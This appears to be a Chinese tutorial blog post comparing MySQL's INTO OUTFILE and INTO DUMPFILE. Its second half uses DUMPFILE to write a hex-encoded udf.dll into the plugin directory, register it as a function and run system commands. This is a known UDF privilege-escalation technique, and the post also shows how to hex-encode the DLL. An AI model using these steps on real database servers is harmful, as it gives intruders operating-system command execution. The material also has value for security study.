微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

mysql中dumpfile与outfile函数的区别是什么

这篇文章将为大家详细讲解有关mysql中dumpfile与outfile函数的区别是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。


 
如下表admin
 
MysqL> select * from admin;
 
+-----+-----------+---------+
 
| uid | name      | pass    |
 
+----+------------+---------+
 
|  1 | admin      | baidusb |  
 
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
 
|  4 | boss         | helensb |
 
|  5 | guanli       | admin   |
 
|  6 | superuser  | G0Ood   |
 
+----+------------+---------+
 
MysqL> select * from admin into outfile '/home/seclab/test/test1.txt';
 
Query OK,1 row affected (0.00 sec)
 
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
 
 
而into dump是不行的 它只能导出 一行数据!
 
 
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
 
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
 
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
 
 
如在无web脚本 执行 但是有MysqL root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
 
MysqL> show variable like '%plugin%';
 
+----------------+------------------------------------------+
|Variable_name   | Value                                    |
+----------------+------------------------------------------+
| plugin_dir     |c:\MysqL\MysqL server 5.1\lib/plugin      |
+----------------+------------------------------------------+
 
MysqL> select unhex('udf.dll hex code') into dumpfile 'c:/MysqL/MysqL server 5.1/lib/plugin/xxoo.dll';
MysqL> select * from func; #查看是否有人创建过udf 如果有就可以省略
MysqL> create function MyCmd returns string soname ''c:/MysqL/MysqL server 5.1/lib/plugin/xxoo.dll';
MysqL> select MyCmd('whoam');
 
一点小知识点:
 
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建MysqL环境 找个可以用的udf.dll文件 执行下面操作
 
MysqL> select hex(load_file ('c://temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';

关于MysqL中dumpfile与outfile函数的区别是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐